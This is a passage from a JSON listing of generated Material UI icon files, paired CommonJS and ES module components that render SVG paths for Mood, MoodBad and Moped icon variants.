    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 2.5c-2.03 0-3.8 1.11-4.75 2.75-.19.33.06.75.44.75h8.62c.38 0 .63-.42.44-.75-.95-1.64-2.72-2.75-4.75-2.75\"\n}), 'MoodBadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodBadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 2.5c-2.03 0-3.8 1.11-4.75 2.75-.19.33.06.75.44.75h8.62c.38 0 .63-.42.44-.75-.95-1.64-2.72-2.75-4.75-2.75\"\n}), 'MoodBadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodBadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 2.5c-2.33 0-4.31 1.46-5.11 3.5h10.22c-.8-2.04-2.78-3.5-5.11-3.5\"\n}), 'MoodBadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodBadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 2.5c-2.33 0-4.31 1.46-5.11 3.5h10.22c-.8-2.04-2.78-3.5-5.11-3.5\"\n}), 'MoodBadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodBadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m3.5 4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m-1.61 9c.8-2.04 2.78-3.5 5.11-3.5s4.31 1.46 5.11 3.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m0-6.5c-2.33 0-4.31 1.46-5.11 3.5h10.22c-.8-2.04-2.78-3.5-5.11-3.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"3\")], 'MoodBadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodBadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m3.5 4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m-1.61 9c.8-2.04 2.78-3.5 5.11-3.5s4.31 1.46 5.11 3.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m0-6.5c-2.33 0-4.31 1.46-5.11 3.5h10.22c-.8-2.04-2.78-3.5-5.11-3.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"3\")], 'MoodBadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'MoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'MoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.03 0 3.8-1.11 4.75-2.75.19-.33-.05-.75-.44-.75H7.69c-.38 0-.63.42-.44.75.95 1.64 2.72 2.75 4.75 2.75\"\n}), 'MoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.03 0 3.8-1.11 4.75-2.75.19-.33-.05-.75-.44-.75H7.69c-.38 0-.63.42-.44.75.95 1.64 2.72 2.75 4.75 2.75\"\n}), 'MoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'MoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'MoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m3.5 4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m3.5 9.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}, \"4\")], 'MoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m3.5 4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m3.5 9.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}, \"4\")], 'MoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Moped.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'Moped');"
  },
  {
    "path": "packages/mui-icons-material/lib/Moped.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'Moped');"
  },
  {
    "path": "packages/mui-icons-material/lib/MopedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM4 14v-1c0-1.1.9-2 2-2h2v3zm3 3c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'MopedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MopedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM4 14v-1c0-1.1.9-2 2-2h2v3zm3 3c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'MopedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MopedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2.65L13.52 14H10v-4c0-.55-.45-1-1-1H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6H6c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1m10 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'MopedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MopedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2.65L13.52 14H10v-4c0-.55-.45-1-1-1H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6H6c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1m10 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'MopedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MopedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 10.35V5h-5v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'MopedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MopedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 10.35V5h-5v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'MopedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MopedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 13v1h4v-3H6c-1.1 0-2 .9-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m1-3H4v-1c0-1.1.9-2 2-2h2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"2\")], 'MopedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MopedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 13v1h4v-3H6c-1.1 0-2 .9-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 14H10V9H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 10.35zM7 17c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m1-3H4v-1c0-1.1.9-2 2-2h2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"2\")], 'MopedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/More.js",
